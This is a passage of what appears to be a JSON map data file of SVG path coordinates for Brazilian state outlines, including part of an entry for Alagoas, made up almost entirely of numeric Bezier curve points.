58014.67 177280.00 58036.00C177290.67 58057.67 177301.33 58079.33 177312.00 58101.00C177322.67 58101.00 177333.33 58101.00 177344.00 58101.00C177258.33 58101.00 177172.67 58101.00 177087.00 58101.00C177065.67 58133.00 177044.33 58165.00 177023.00 58197.00C177033.67 58207.66 177044.33 58218.34 177055.00 58229.00C177044.33 58229.00 177033.67 58229.00 177023.00 58229.00C177001.33 58239.67 176979.67 58250.33 176958.00 58261.00C176947.33 58282.67 176936.67 58304.33 176926.00 58326.00C176936.67 58336.66 176947.33 58347.34 176958.00 58358.00C176947.33 58379.33 176936.67 58400.67 176926.00 58422.00C176926.00 58432.67 176926.00 58443.33 176926.00 58454.00C176904.67 58464.67 176883.33 58475.33 176862.00 58486.00C176851.33 58496.66 176840.67 58507.34 176830.00 58518.00C176787.00 58496.67 176744.00 58475.33 176701.00 58454.00C176701.00 58497.00 176701.00 58540.00 176701.00 58583.00C176711.67 58593.66 176722.33 58604.34 176733.00 58615.00C176722.33 58625.66 176711.67 58636.34 176701.00 58647.00C176679.67 58647.00 176658.33 58647.00 176637.00 58647.00C176615.67 58668.34 176594.33 58689.66 176573.00 58711.00C176551.33 58722.00 176529.67 58733.00 176508.00 58744.00C176486.67 58744.00 176465.33 58744.00 176444.00 58744.00C176422.67 58722.33 176401.33 58700.67 176380.00 58679.00C176380.00 58668.33 176380.00 58657.67 176380.00 58647.00C176369.00 58657.67 176358.00 58668.33 176347.00 58679.00C176336.33 58700.67 176325.67 58722.33 176315.00 58744.00C176304.33 58754.66 176293.67 58765.34 176283.00 58776.00C176229.33 58776.00 176175.67 58776.00 176122.00 58776.00C176133.00 58786.67 176144.00 58797.33 176155.00 58808.00C176133.33 58829.33 176111.67 58850.67 176090.00 58872.00C176100.67 58904.33 176111.33 58936.67 176122.00 58969.00C176111.33 58969.00 176100.67 58969.00 176090.00 58969.00C176079.33 58979.66 176068.67 58990.34 176058.00 59001.00C176036.67 59001.00 176015.33 59001.00 175994.00 59001.00C176004.67 58979.67 176015.33 58958.33 176026.00 58937.00C176004.67 58926.00 175983.33 58915.00 175962.00 58904.00C175962.00 58882.67 175962.00 58861.33 175962.00 58840.00C175951.00 58840.00 175940.00 58840.00 175929.00 58840.00C175929.00 58861.33 175929.00 58882.67 175929.00 58904.00C175918.33 58904.00 175907.67 58904.00 175897.00 58904.00C175897.00 58915.00 175897.00 58926.00 175897.00 58937.00C175886.33 58937.00 175875.67 58937.00 175865.00 58937.00C175854.33 58947.66 175843.67 58958.34 175833.00 58969.00C175822.33 59001.00 175811.67 59033.00 175801.00 59065.00C175779.67 59075.67 175758.33 59086.33 175737.00 59097.00C175726.00 59118.67 175715.00 59140.33 175704.00 59162.00C175682.67 59183.34 175661.33 59204.66 175640.00 59226.00C175608.00 59226.00 175576.00 59226.00 175544.00 59226.00C175522.33 59183.00 175500.67 59140.00 175479.00 59097.00C175457.67 59107.67 175436.33 59118.33 175415.00 59129.00C175372.00 59129.00 175329.00 59129.00 175286.00 59129.00C175264.67 59107.66 175243.33 59086.34 175222.00 59065.00C175179.00 59065.00 175136.00 59065.00 175093.00 59065.00C175082.33 59054.34 175071.67 59043.66 175061.00 59033.00C175039.67 59043.67 175018.33 59054.33 174997.00 59065.00C174986.33 59065.00 174975.67 59065.00 174965.00 59065.00C174911.33 59097.33 174857.67 59129.67 174804.00 59162.00C174804.00 59129.67 174804.00 59097.33 174804.00 59065.00C174772.00 59065.00 174740.00 59065.00 174708.00 59065.00C174697.33 59043.67 174686.67 59022.33 174676.00 59001.00C174654.33 58979.67 174632.67 58958.33 174611.00 58937.00C174568.33 58937.00 174525.67 58937.00 174483.00 58937.00C174472.00 58926.00 174461.00 58915.00 174450.00 58904.00C174439.33 58904.00 174428.67 58904.00 174418.00 58904.00C174418.00 58882.67 174418.00 58861.33 174418.00 58840.00C174407.33 58829.34 174396.67 58818.66 174386.00 58808.00C174375.33 58786.67 174364.67 58765.33 174354.00 58744.00C174336.53 58725.97 174319.12 58707.87 174301.24 58690.24C174297.49 58686.49 174293.75 58682.75 174290.00 58679.00C174279.00 58679.00 174268.00 58679.00 174257.00 58679.00C174225.00 58689.67 174193.00 58700.33 174161.00 58711.00C174129.00 58689.67 174097.00 58668.33 174065.00 58647.00C174054.00 58636.33 174043.00 58625.67 174032.00 58615.00C174010.67 58615.00 173989.33 58615.00 173968.00 58615.00C173936.00 58625.67 173904.00 58636.33 173872.00 58647.00C173882.67 58615.00 173893.33 58583.00 173904.00 58551.00C173893.33 58529.33 173882.67 58507.67 173872.00 58486.00C173906.04 58434.95 173940.14 58383.94 173973.83 58332.65C173982.56 58319.43 173991.28 58306.22 174000.00 58293.00C173969.41 58308.71 173938.96 58324.71 173908.13 58339.93C173896.08 58345.96 173884.04 58351.98 173872.00 58358.00C173861.33 58358.00 173850.67 58358.00 173840.00 58358.00C173818.33 58379.33 173796.67 58400.67 173775.00 58422.00C173764.33 58411.34 173753.67 58400.66 173743.00 58390.00C173732.33 58390.00 173721.67 58390.00 173711.00 58390.00C173689.67 58379.33 173668.33 58368.67 173647.00 58358.00C173636.00 58358.00 173625.00 58358.00 173614.00 58358.00C173603.33 58368.66 173592.67 58379.34 173582.00 58390.00C173592.67 58400.66 173603.33 58411.34 173614.00 58422.00C173582.00 58422.00 173550.00 58422.00 173518.00 58422.00C173496.67 58411.33 173475.33 58400.67 173454.00 58390.00C173443.00 58357.67 173432.00 58325.33 173421.00 58293.00C173421.00 58271.67 173421.00 58250.33 173421.00 58229.00C173442.67 58207.67 173464.33 58186.33 173486.00 58165.00C173486.00 58132.67 173486.00 58100.33 173486.00 58068.00C173475.33 58068.00 173464.67 58068.00 173454.00 58068.00z"},"br-02":{"name":"Alagoas","path":"M175061.00 72955.00C175114.67 72901.67 175168.33 72848.33 175222.00 72795.00C175254.33 72784.00 175286.67 72773.00 175319.00 72762.00C175361.67 72719.34 175404.33 72676.66 175447.00 72634.00C175447.00 72601.67 175447.00 72569.33 175447.00 72537.00C175468.33 72494.33 175489.67 72451.67 175511.00 72409.00C175575.91 72344.12 175640.75 72279.17 175705.71 72214.34C175716.14 72204.23 175726.57 72194.12 175737.00 72184.00C175779.67 72184.00 175822.33 72184.00 175865.00 72184.00C175886.33 72173.00 175907.67 72162.00 175929.00 72151.00C175961.33 72151.00 175993.67 72151.00 176026.00 72151.00C176036.67 72129.67 176047.33 72108.33 176058.00 72087.00C176111.67 72087.00 176165.33 72087.00 176219.00 72087.00C176240.33 72076.33 176261.67 72065.67 176283.00 72055.00C176293.67 72023.00 176304.33 71991.00 176315.00 71959.00C176336.67 71937.34 176358.33 71915.66 176380.00 71894.00C176380.00 71883.33 176380.00 71872.67 176380.00 71862.00C176401.33 71840.66 176422.67 71819.34 176444.00 71798.00C176454.67 71776.67 176465.33 71755.33 176476.00 71734.00C176519.00 71691.00 176562.00 71648.00 176605.00 71605.00C176615.67 71583.67 176626.33 71562.33 176637.00 71541.00C176658.33 71530.00 176679.67 71519.00 176701.00 71508.00C176711.67 71519.00 176722.33 71530.00 176733.00 71541.00C176743.67 71508.67 176754.33 71476.33 176765.00 71444.00C176765.00 71433.33 176765.00 71422.67 176765.00 71412.00C176786.67 71401.33 176808.33 71390.67 176830.00 71380.00C176851.33 71358.33 176872.67 71336.67 176894.00 71315.00C176904.67 71293.67 176915.33 71272.33 176926.00 71251.00C176936.67 71240.34 176947.33 71229.66 176958.00 71219.00C176969.00 71154.67 176980.00 71090.33 176991.00 71026.00C176980.00 71015.33 176969.00 71004.67 176958.00 70994.00C176979.67 70972.67 177001.33 70951.33 177023.00 70930.00C177023.00 70908.33 177023.00 70886.67 177023.00 70865.00C177012.33 70854.34 177001.67 70843.66 176991.00 70833.00C177023.00 70811.67 177055.00 70790.33 177087.00 70769.00C177097.67 70769.00 177108.33 70769.00 177119.00 70769.00C177151.33 70736.66 177183.67 70704.34 177216.00 70672.00C177237.33 70672.00 177258.67 70672.00 177280.00 70672.00C177290.67 70661.34 177301.33 70650.66 177312.00 70640.00C177333.33 70661.67 177354.67 70683.33 177376.00 70705.00C177376.00 70726.33 177376.00 70747.67 177376.00 70769.00C177386.67 70779.66 177397.33 70790.34 177408.00 70801.00C177419.00 70801.00 177430.00 70801.00 177441.00 70801.00C177441.00 70811.67 177441.00 70822.33 177441.00 70833.00C177451.67 70843.66 177462.33 70854.34 177473.00 70865.00C177483.67 70886.66 177494.33 70908.34 177505.00 70930.00C177526.33 70951.34 177547.67 70972.66 177569.00 70994.00C177569.00 71004.67 177569.00 71015.33 177569.00 71026.00C177579.67 71047.33 177590.33 71068.67 177601.00 71090.00C177622.67 71101.00 177644.33 71112.00 177666.00 71123.00C177666.00 71155.00 177666.00 71187.00 177666.00 71219.00C177650.73 71234.21 177635.63 71249.60 177620.07 71264.51C177613.71 71270.68 177607.35 71276.84 177601.00 71283.00C177601.00 71293.67 177601.00 71304.33 177601.00 71315.00C177622.67 71304.33 177644.33 71293.67 177666.00 71283.00C177666.00 71304.67 177666.00 71326.33 177666.00 71348.00C177708.67 71326.33 177751.33 71304.67 177794.00 71283.00C177794.00 71293.67 177794.00 71304.33 177794.00 71315.00C177783.33 71326.00 177772.67 71337.00 177762.00 71348.00C177772.67 71358.66 177783.33 71369.34 177794.00 71380.00C177815.67 71390.67 177837.33 71401.33 177859.00 71412.00C177901.67 71412.00 177944.33 71412.00 177987.00 71412.00C177997.67 71401.34 178008.33 71390.66 178019.00 71380.00C178008.33 71369.34 177997.67 71358.66 177987.00 71348.00C177997.67 71326.34 178008.33 71304.66 178019.00 71283.00C178040.67 71261.67 178062.33 71240.33 178084.00 71219.00C178105.33 71208.33 178126.67 71197.67 178148.00 71187.00C178180.00 71197.67 178212.00 71208.33 178244.00 71219.00C178276.33 71187.00 178308.67 71155.00 178341.00 71123.00C178362.33 71133.67 178383.67 71144.33 178405.00 71155.00C178415.67 71155.00 178426.33 71155.00 178437.00 71155.00C178458.67 71165.67 178480.33 71176.33 178502.00 71187.00C178534.00 71187.00 178566.00 71187.00 178598.00 71187.00C178598.00 71229.67 178598.00 71272.33 178598.00 71315.00C178587.33 71326.00 178576.67 71337.00 178566.00 71348.00C178609.00 71390.67 178652.00 71433.33 178695.00 71476.00C178748.33 71476.00 178801.67 71476.00 178855.00 71476.00C178887.33 71497.67 178919.67 71519.33 178952.00 71541.00C178973.33 71562.34 178994.67 71583.66 179016.00 71605.00C179123.33 71648.00 179230.67 71691.00 179338.00 71734.00C179348.67 71755.33 179359.33 71776.67 179370.00 71798.00C179391.33 71798.00 179412.67 71798.00 179434.00 71798.00C179434.00 71819.33 179434.00 71840.67 179434.00 71862.00C179455.35 71883.37 179476.74 71904.71 179498.07 71926.10C179530.38 71969.06 179562.69 72012.03 179595.00 72055.00C179648.67 72108.66 179702.33 72162.34 179756.00 72216.00C179756.00 72237.33 179756.00 72258.67 179756.00 72280.00C179766.67 72301.33 179777.33 72322.67 179788.00 72344.00C179798.67 72344.00 179809.33 72344.00 179820.00 72344.00C179820.00 72397.67 179820.00 72451.33 179820.00 72505.00C179852.00 72473.00 179884.00 72441.00 179916.00 72409.00C179937.67 72398.33 179959.33 72387.67 179981.00 72377.00C180045.33 72419.67 180109.67 72462.33 180174.00 72505.00C180152.33 72526.66 180130.67 72548.34 180109.00 72570.00C180109.00 72602.00 180109.00 72634.00 180109.00 72666.00C180119.67 72676.66 180130.33 72687.34 180141.00 72698.00C180173.37 72676.65 180205.72 72655.27 180238.11 72633.95C180259.41 72623.30 180280.70 72612.65 180302.00 72602.00C180323.67 72569.67 180345.33 72537.33 180367.00 72505.00C180377.67 72505.00 180388.33 72505.00 180399.00 72505.00C180441.67 72526.67 180484.33 72548.33 180527.00 72570.00C180538.02 72580.70 180549.08 72591.37 180560.07 72602.10C180592.05 72644.73 180624.02 72687.37 180656.00 72730.00C180645.33 72762.33 180634.67 72794.67 180624.00 72827.00C180634.67 72848.33 180645.33 72869.67 180656.00 72891.00C180656.00 72869.67 180656.00 72848.33 180656.00 72827.00C180666.67 72848.33 180677.33 72869.67 180688.00 72891.00C180731.00 72891.00 180774.00 72891.00 180817.00 72891.00C180849.00 72944.67 180881.00 72998.33 180913.00 73052.00C180956.00 73073.33 180999.00 73094.67 181042.00 73116.00C181074.00 73148.33 181106.00 73180.67 181138.00 73213.00C181148.67 73213.00 181159.33 73213.00 181170.00 73213.00C181181.00 73202.00 181192.00 73191.00 181203.00 73180.00C181213.67 73180.00 181224.33 73180.00 181235.00 73180.00C181235.00 73169.33 181235.00 73158.67 181235.00 73148.00C181224.33 73137.34 181213.67 73126.66 181203.00 73116.00C181203.00 73094.67 181203.00 73073.33 181203.00 73052.00C181235.00 73030.33 181267.00 73008.67 181299.00 72987.00C181299.00 72976.33 181299.00 72965.67 181299.00 72955.00C181288.33 72944.34 181277.67 72933.66 181267.00 72923.00C181288.33 72880.33 181309.67 72837.67 181331.00 72795.00C181352.67 72773.34 181374.33 72751.66 181396.00 72730.00C181406.67 72730.00 181417.33 72730.00 181428.00 72730.00C181460.00 72719.33 181492.00 72708.67 181524.00 72698.00C181513.33 72698.00 181502.67 72698.00 181492.00 72698.00C181502.67 72687.34 181513.33 72676.66 181524.00 72666.00C181556.33 72666.00 181588.67 72666.00 181621.00 72666.00C181631.67 72676.66 181642.33 72687.34 181653.00 72698.00C181663.67 72719.33 181674.33 72740.67 181685.00 72762.00C181749.33 72762.00 181813.67 72762.00 181878.00 72762.00C181942.33 72730.00 182006.67 72698.00 182071.00 72666.00C182167.33 72676.67 182263.67 72687.33 182360.00 72698.00C182381.33 72708.67 182402.67 72719.33 182424.00 72730.00C182456.33 72773.00 182488.67 72816.00 182521.00 72859.00C182542.33 72869.67 182563.67 72880.33 182585.00 72891.00C182585.00 72880.33 182585.00 72869.67 182585.00 72859.00C182595.67 72869.66 182606.33 72880.34 182617.00 72891.00C182627.67 72891.00 182638.33 72891.00 182649.00 72891.00C182649.00 72901.67 182649.00 72912.33 182649.00 72923.00C182660.00 72933.67 182671.00 72944.33 182682.00 72955.00C182692.67 72944.34 182703.33 72933.66 182714.00 72923.00C182714.00 72933.67 182714.00 72944.33 182714.00 72955.00C182724.67 72944.34 182735.33 72933.66 182746.00 72923.00C182746.00 72933.67 182746.00 72944.33 182746.00 72955.00C182756.67 72955.00 182767.33 72955.00 182778.00 72955.00C182778.00 72976.67 182778.00 72998.33 182778.00 73020.00C182799.33 73009.00 182820.67 72998.00 182842.00 72987.00C182853.00 72987.00 182864.00 72987.00 182875.00 72987.00C182896.33 72976.33 182917.67 72965.67 182939.00 72955.00C182949.67 72955.00 182960.33 72955.00 182971.00 72955.00C182971.00 72933.67 182971.00 72912.33 182971.00 72891.00C182960.33 72891.00 182949.67 72891.00 182939.00 72891.00C182939.00 72848.00 182939.00 72805.00 182939.00 72762.00C183046.00 72730.00 183153.00 72698.00 183260.00 72666.00C183275.46 72650.94 183291.11 72636.07 183306.28 72620.71C183312.52 72614.48 183318.76 72608.24 183325.00 72602.00C183325.00 72591.33 183325.00 72580.67 183325.00 72570.00C183335.67 72548.34 183346.33 72526.66 183357.00 72505.00C183367.67 72505.00 183378.33 72505.00 183389.00 72505.00C183399.67 72515.66 183410.33 72526.34 183421.00 72537.00C183442.33 72515.66 183463.67 72494.34 183485.00 72473.00C183496.00 72473.00 183507.00 72473.00 183518.00 72473.00C183518.00 72462.33 183518.00 72451.67 183518.00 72441.00C183539.33 72430.33 183560.67 72419.67 183582.00 72409.00C183582.00 72398.33 183582.00 72387.67 183582.00 72377.00C183603.33 72377.00 183624.67 72377.00 183646.00 72377.00C183646.00 72398.33 183646.00 72419.67 183646.00 72441.00C183656.67 72451.66 183667.33 72462.34 183678.00 72473.00C183689.00 72451.67 183700.00 72430.33 183711.00 72409.00C183721.67 72419.66 183732.33 72430.34 183743.00 72441.00C183764.33 72441.00 183785.67 72441.00 183807.00 72441.00C183828.33 72430.33 183849.67 72419.67 183871.00 72409.00C183892.67 72419.67 183914.33 72430.33 183936.00 72441.00C183957.33 72419.66 183978.67 72398.34 184000.00 72377.00C183989.33 72366.00 183978.67 72355.00 183968.00 72344.00C183968.00 72333.33 183968.00 72322.67 183968.00 72312.00C183989.33 72322.67 184010.67 72333.33 184032.00 72344.00C184042.67 72344.00 184053.33 72344.00 184064.00 72344.00C184074.67 72333.34 184085.33 72322.66 184096.00 72312.00C184107.00 72290.67 184118.00 72269.33 184129.00 72248.00C184150.33 72226.66 184171.67 72205.34 184193.00 72184.00C184193.00 72194.67 184193.00 72205.33 184193.00 72216.00C184203.67 72205.34 184214.33 72194.66 184225.00 72184.00C184235.67 72194.66 184246.33 72205.34 184257.00 72216.00C184257.00 72205.33 184257.00 72194.67 184257.00 72184.00C184267.67 72184.00 184278.33 72184.00 184289.00 72184.00C184310.67 72173.00 184332.33 72162.00 184354.00 72151.00C184364.67 72162.00 184375.33 72173.00 184386.00 72184.00C184396.67 72184.00 184407.33 72184.00 184418.00 72184.00C184418.00 72194.67 184418.00 72205.33 184418.00 72216.00C184428.67 72216.00 184439.33 72216.00 184450.00 72216.00C184450.00 72205.33 184450.00 72194.67 184450.00 72184.00C184460.67 72194.66 184471.33 72205.34 184482.00 72216.00C184514.33 72205.33 184546.67 72194.67 184579.00 72184.00C184579.00 72173.00 184579.00 72162.00 184579.00 72151.00C184557.33 72140.33 184535.67 72129.67 184514.00 72119.00C184514.00 72097.67 184514.00 72076.33 184514.00 72055.00C184503.33 72044.34 184492.67 72033.66 184482.00 72023.00C184460.67 72023.00 184439.33 72023.00 184418.00 72023.00C184418.00 71990.67 184418.00 71958.33 184418.00 71926.00C184407.33 71915.34 184396.67 71904.66 184386.00 71894.00C184386.00 71872.67 184386.00 71851.33 184386.00 71830.00C184439.67 71830.00 184493.33 71830.00 184547.00 71830.00C184568.33 71808.66 184589.67 71787.34 184611.00 71766.00C184611.00 71744.33 184611.00 71722.67 184611.00 71701.00C184621.67 71701.00 184632.33 71701.00 184643.00 71701.00C184653.67 71690.34 184664.33 71679.66 184675.00 71669.00C184685.67 71637.00 184696.33 71605.00 184707.00 71573.00C184728.67 71573.00 184750.33 71573.00 184772.00 71573.00C184782.67 71562.34 184793.33 71551.66 184804.00 71541.00C184868.33 71541.00 184932.67 71541.00 184997.00 71541.00C184997.00 71530.00 184997.00 71519.00 184997.00 71508.00C185018.33 71497.33 185039.67 71486.67 185061.00 71476.00C185082.33 71454.66 185103.67 71433.34 185125.00 71412.00C185125.00 71401.33 185125.00 71390.67 185125.00 71380.00C185135.67 71369.34 185146.33 71358.66 185157.00 71348.00C185146.33 71326.34 185135.67 71304.66 185125.00 71283.00C185103.67 71272.33 185082.33 71261.67 185061.00 71251.00C185050.33 71229.67 185039.67 71208.33 185029.00 71187.00C185039.67 71165.67 185050.33 71144.33 185061.00 71123.00C185125.33 71101.33 185189.67 71079.67 185254.00 71058.00C185286.00 71015.33 185318.00 70972.67 185350.00 70930.00C185403.67 70919.33 185457.33 70908.67 185511.00 70898.00C185554.00 70908.67 185597.00 70919.33 185640.00 70930.00C185661.33 70908.33 185682.67 70886.67 185704.00 70865.00C185747.00 70865.00 185790.00 70865.00 185833.00 70865.00C185833.00 70854.33 185833.00 70843.67 185833.00 70833.00C185854.33 70822.33 185875.67 70811.67 185897.00 70801.00C185907.67 70790.34 185918.33 70779.66 185929.00 70769.00C185961.33 70769.00 185993.67 70769.00 186026.00 70769.00C186036.67 70747.67 186047.33 70726.33 186058.00 70705.00C186058.00 70694.00 186058.00 70683.00 186058.00 70672.00C186079.33 70672.00 186100.67 70672.00 186122.00 70672.00C186132.67 70661.34 186143.33 70650.66 186154.00 70640.00C186164.67 70650.66 186175.33 70661.34 186186.00 70672.00C186229.00 70661.33 186272.00 70650.67 186315.00 70640.00C186336.33 70661.67 186357.67 70683.33 186379.00 70705.00C186411.33 70705.00 186443.67 70705.00 186476.00 70705.00C186486.67 70683.34 186497.33 70661.66 186508.00 70640.00C186529.33 70650.67 186550.67 70661.33 186572.00 70672.00C186593.33 70650.66 186614.67 70629.34 186636.00 70608.00C186647.00 70608.00 186658.00 70608.00 186669.00 70608.00C186679.67 70629.33 186690.33 70650.67 186701.00 70672.00C186701.00 70661.33 186701.00 70650.67 186701.00 70640.00C186701.00 70661.67 186701.00 70683.33 186701.00 70705.00C186690.33 70726.33 186679.67 70747.67 186669.00 70769.00C186679.67 70779.66 186690.33 70790.34 186701.00 70801.00C186690.33 70811.66 186679.67 70822.34 186669.00 70833.00C186679.67 70833.00 186690.33 70833.00 186701.00 70833.00C186711.67 70843.66 186722.33 70854.34 186733.00 70865.00C186755.25 70876.43 186777.44 70887.99 186799.73 70899.35C186820.49 70909.56 186841.24 70919.78 186862.00 70930.00C186883.33 70919.33 186904.67 70908.67 186926.00 70898.00C186947.33 70898.00 186968.67 70898.00 186990.00 70898.00C187000.67 70887.00 187011.33 70876.00 187022.00 70865.00C187043.67 70876.00 187065.33 70887.00 187087.00 70898.00C187097.67 70876.34 187108.33 70854.66 187119.00 70833.00C187151.00 70833.00 187183.00 70833.00 187215.00 70833.00C187236.67 70811.67 187258.33 70790.33 187280.00 70769.00C187312.00 70769.00 187344.00 70769.00 187376.00 70769.00C187393.21 70751.79 187410.46 70734.62 187427.47 70717.22C187442.31 70702.15 187457.16 70687.07 187472.00 70672.00C187504.33 70672.00 187536.67 70672.00 187569.00 70672.00C187579.67 70650.67 187590.33 70629.33 187601.00 70608.00C187611.67 70597.34 187622.33 70586.66 187633.00 70576.00C187654.67 70576.00 187676.33 70576.00 187698.00 70576.00C187708.67 70554.67 187719.33 70533.33 187730.00 70512.00C187751.33 70512.00 187772.67 70512.00 187794.00 70512.00C187809.21 70496.37 187824.25 70480.57 187839.76 70465.24C187845.84 70459.16 187851.92 70453.08 187858.00 70447.00C187858.00 70468.67 187858.00 70490.33 187858.00 70512.00C187879.67 70490.34 187901.33 70468.66 187923.00 70447.00C187944.33 70447.00 187965.67 70447.00 187987.00 70447.00C187987.00 70457.67 187987.00 70468.33 187987.00 70479.00C187997.67 70468.34 188008.33 70457.66 188019.00 70447.00C188019.00 70457.67 188019.00 70468.33 188019.00 70479.00C188029.67 70490.00 188040.33 70501.00 188051.00 70512.00C188051.00 70501.00 188051.00 70490.00 188051.00 70479.00C188072.67 70479.00 188094.33 70479.00 188116.00 70479.00C188116.00 70468.33 188116.00 70457.67 188116.00 70447.00C188148.00 70447.00 188180.00 70447.00 188212.00 70447.00C188201.33 70468.66 188190.67 70490.34 188180.00 70512.00C188190.67 70512.00 188201.33 70512.00 188212.00 70512.00C188212.00 70522.67 188212.00 70533.33 188212.00 70544.00C188222.67 70554.66 188233.33 70565.34 188244.00 70576.00C188276.33 70576.00 188308.67 70576.00 188341.00 70576.00C188341.00 70565.33 188341.00 70554.67 188341.00 70544.00C188383.67 70544.00 188426.33 70544.00 188469.00 70544.00C188479.67 70565.33 188490.33 70586.67 188501.00 70608.00C188576.08 70629.35 188651.16 70650.72 188726.24 70672.06C188812.16 70693.70 188898.08 70715.35 188984.00 70737.00C189016.00 70737.00 189048.00 70737.00 189080.00 70737.00C189123.00 70758.33 189166.00 70779.67 189209.00 70801.00C189230.33 70790.33 189251.67 70779.67 189273.00 70769.00C189294.33 70779.67 189315.67 70790.33 189337.00 70801.00C189412.00 70801.00 189487.00 70801.00 189562.00 70801.00C189594.33 70822.34 189626.67 70843.66 189659.00 70865.00C189659.00 70897.33 189659.00 70929.67 189659.00 70962.00C189637.67 70983.34 189616.33 71004.66 189595.00 71026.00C189582.70 71062.29 189570.23 71098.54 189558.05 71134.87C189548.70 71162.91 189539.35 71190.96 189530.00 71219.00C189510.06 71238.91 189490.15 71258.84 189470.38 71278.91C189447.58 71301.94 189424.79 71324.97 189402.00 71348.00C189380.33 71380.00 189358.67 71412.00 189337.00 71444.00C189326.33 71454.66 189315.67 71465.34 189305.00 71476.00C189294.33 71508.33 189283.67 71540.67 189273.00 71573.00C189273.00 71594.33 189273.00 71615.67 189273.00 71637.00C189262.33 71647.66 189251.67 71658.34 189241.00 71669.00C189251.67 71669.00 189262.33 71669.00 189273.00 71669.00C189255.79 71686.21 189238.54 71703.38 189221.53 71720.78C189206.69 71735.85 189191.84 71750.93 189177.00 71766.00C189177.00 71787.33 189177.00 71808.67 189177.00 71830.00C189155.33 71851.33 189133.67 71872.67 189112.00 71894.00C189112.00 71904.67 189112.00 71915.33 189112.00 71926.00C189090.67 71937.00 189069.33 71948.00 189048.00 71959.00C189048.00 71991.00 189048.00 72023.00 189048.00 72055.00C189037.33 72065.66 189026.67 72076.34 189016.00 72087.00C189005.33 72087.00 188994.67 72087.00 188984.00 72087.00C188984.00 72130.00 188984.00 72173.00 188984.00 72216.00C188973.33 72237.33 188962.67 72258.67 188952.00 72280.00C188930.33 72290.67 188908.67 72301.33 188887.00 72312.00C188876.33 72322.66 188865.67 72333.34 188855.00 72344.00C188855.00 72355.00 188855.00 72366.00 188855.00 72377.00C188844.33 72398.33 188833.67 72419.67 188823.00 72441.00C188801.67 72451.67 188780.33 72462.33 188759.00 72473.00C188759.00 72483.67 188759.00 72494.33 188759.00 72505.00C188748.00 72537.33 188737.00 72569.67 188726.00 72602.00C188694.00 72634.00 188662.00 72666.00 188630.00 72698.00C188608.67 72708.67 188587.33 72719.33 188566.00 72730.00C188544.33 72762.33 188522.67 72794.67 188501.00 72827.00C188479.67 72837.67 188458.33 72848.33 188437.00 72859.00C188426.33 72869.66 188415.67 72880.34 188405.00 72891.00C188415.67 72891.00 188426.33 72891.00 188437.00 72891.00C188405.00 72901.67 188373.00 72912.33 188341.00 72923.00C188330.00 72933.67 188319.00 72944.33 188308.00 72955.00C188308.00 72965.67 188308.00 72976.33 188308.00 72987.00C188276.00 72998.00 188244.00 73009.00 188212.00 73020.00C188192.09 73039.94 188172.16 73059.85 188152.10 73079.62C188129.06 73102.41 188106.03 73125.21 188083.00 73148.00C188072.33 73169.66 188061.67 73191.34 188051.00 73213.00C188040.33 73266.33 188029.67 73319.67 188019.00 73373.00C187997.67 73416.00 187976.33 73459.00 187955.00 73502.00C187933.33 73502.00 187911.67 73502.00 187890.00 73502.00C187890.00 73523.33 187890.00 73544.67 187890.00 73566.00C187879.33 73566.00 187868.67 73566.00 187858.00 73566.00C187826.00 73598.33 187794.00 73630.67 187762.00 73663.00C187751.33 73684.33 187740.67 73705.67 187730.00 73727.00C187687.00 73759.00 187644.00 73791.00 187601.00 73823.00C187601.00 73855.33 187601.00 73887.67 187601.00 73920.00C187579.67 73920.00 187558.33 73920.00 187537.00 73920.00C187515.33 73941.33 187493.67 73962.67 187472.00 73984.00C187472.00 73994.67 187472.00 74005.33 187472.00 74016.00C187450.67 74027.00 187429.33 74038.00 187408.00 74049.00C187386.67 74070.34 187365.33 74091.66 187344.00 74113.00C187333.33 74113.00 187322.67 74113.00 187312.00 74113.00C187290.33 74145.00 187268.67 74177.00 187247.00 74209.00C187225.67 74230.67 187204.33 74252.33 187183.00 74274.00C187172.31 74295.37 187161.65 74316.75 187150.93 74338.10C187129.61 74370.06 187108.31 74402.03 187087.00 74434.00C187087.00 74487.67 187087.00 74541.33 187087.00 74595.00C187065.33 74595.00 187043.67 74595.00 187022.00 74595.00C187000.67 74627.34 186979.33 74659.66 186958.00 74692.00C186947.33 74681.00 186936.67 74670.00 186926.00 74659.00C186936.67 74659.00 186947.33 74659.00 186958.00 74659.00C186958.00 74648.33 186958.00 74637.67 186958.00 74627.00C186947.33 74627.00 186936.67 74627.00 186926.00 74627.00C186883.00 74637.67 186840.00 74648.33 186797.00 74659.00C186754.33 74712.66 186711.67 74766.34 186669.00 74820.00C186658.00 74820.00 186647.00 74820.00 186636.00 74820.00C186604.00 74852.33 186572.00 74884.67 186540.00 74917.00C186529.33 74938.33 186518.67 74959.67 186508.00 74981.00C186518.67 74970.34 186529.33 74959.66 186540.00 74949.00C186475.67 75024.00 186411.33 75099.00 186347.00 75174.00C186314.89 75227.82 186282.84 75281.69 186250.68 75335.48C186229.11 75367.32 186207.56 75399.16 186186.00 75431.00C186164.67 75484.67 186143.33 75538.33 186122.00 75592.00C186057.67 75645.67 185993.33 75699.33 185929.00 75753.00C185897.00 75817.33 185865.00 75881.67 185833.00 75946.00C185810.39 75979.45 185787.68 76012.82 185765.14 76046.31C185723.41 76109.24 185681.66 76172.16 185639.94 76235.10C185596.96 76310.07 185553.98 76385.04 185511.00 76460.00C185489.67 76481.34 185468.33 76502.66 185447.00 76524.00C185447.00 76545.67 185447.00 76567.33 185447.00 76589.00C185425.67 76610.34 185404.33 76631.66 185383.00 76653.00C185361.33 76642.33 185339.67 76631.67 185318.00 76621.00C185296.64 76642.37 185275.26 76663.71 185253.92 76685.10C185210.95 76738.73 185167.97 76792.36 185125.00 76846.00C185114.33 76867.33 185103.67 76888.67 185093.00 76910.00C185071.67 76931.34 185050.33 76952.66 185029.00 76974.00C185029.00 76985.00 185029.00 76996.00 185029.00 77007.00C185007.67 76996.00 184986.33 76985.00 184965.00 76974.00C184943.33 76985.00 184921.67 76996.00 184900.00 77007.00C184878.67 77028.34 184857.33 77049.66 184836.00 77071.00C184814.67 77114.00 184793.33 77157.00 184772.00 77200.00C184729.00 77221.33 184686.00 77242.67 184643.00 77264.00C184600.00 77317.67 184557.00 77371.33 184514.00 77425.00C184460.67 77467.67 184407.33 77510.33 184354.00 77553.00C184321.67 77596.00 184289.33 77639.00 184257.00 77682.00C184246.33 77703.33 184235.67 77724.67 184225.00 77746.00C184225.00 77799.67 184225.00 77853.33 184225.00 77907.00C184235.67 77917.66 184246.33 77928.34 184257.00 77939.00C184257.00 77949.67 184257.00 77960.33 184257.00 77971.00C184246.33 77981.66 184235.67 77992.34 184225.00 78003.00C184214.33 78003.00 184203.67 78003.00 184193.00 78003.00C184150.00 78067.33 